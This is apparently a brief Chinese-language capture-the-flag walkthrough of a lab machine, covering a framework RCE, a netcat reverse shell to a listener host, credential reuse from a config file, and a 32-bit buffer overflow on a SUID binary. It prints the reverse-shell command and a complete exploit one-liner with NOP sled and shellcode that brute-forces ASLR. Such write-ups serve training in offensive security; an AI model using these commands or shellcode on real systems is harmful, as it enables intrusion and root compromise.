1.存在框架漏洞(rce)

2.通过rce反弹shell
bash方法:

nc方法:

nc 192.168.1.27 12345 -e /bin/sh

3.通过配置文件中的用户密码切换用户

4.进入用户目录

cat note.txt
buffer overflow is the way. ( ° ʖ °)

if you're new on 32bit bof then check these:

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm

提示缓冲区溢出

然后发现input且具有suid权限

input 看上去是关于输入的命令,输入的字符过长报错,怀疑缓冲区溢出便在此处。

5.判断溢出位置
先通过msf-pattern_create -l 3000生成用于确定偏移的字符串。
再通过 msf-pattern_offset -q 0x41376641 获取偏移量(该位置之后4字节为eip)

info registers :查看内存信息
x/40x $esp: x/x 以十六进制输出,x/d 以十进制输出,x/c 以单字符输出

6.将eip覆盖为esp的地址(将下一条命令的地址覆盖为esp中的恶意命令地址)
构造exp:

for i in {1..10000};do (./input $(python -c'print "A"*171 + "\x70\xac\xbc\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"'));done

\x70\xac\xbc\xbf 为该次esp地址(目标上启用了 ASLR 每次分配地址随机),\x90 不做任何操作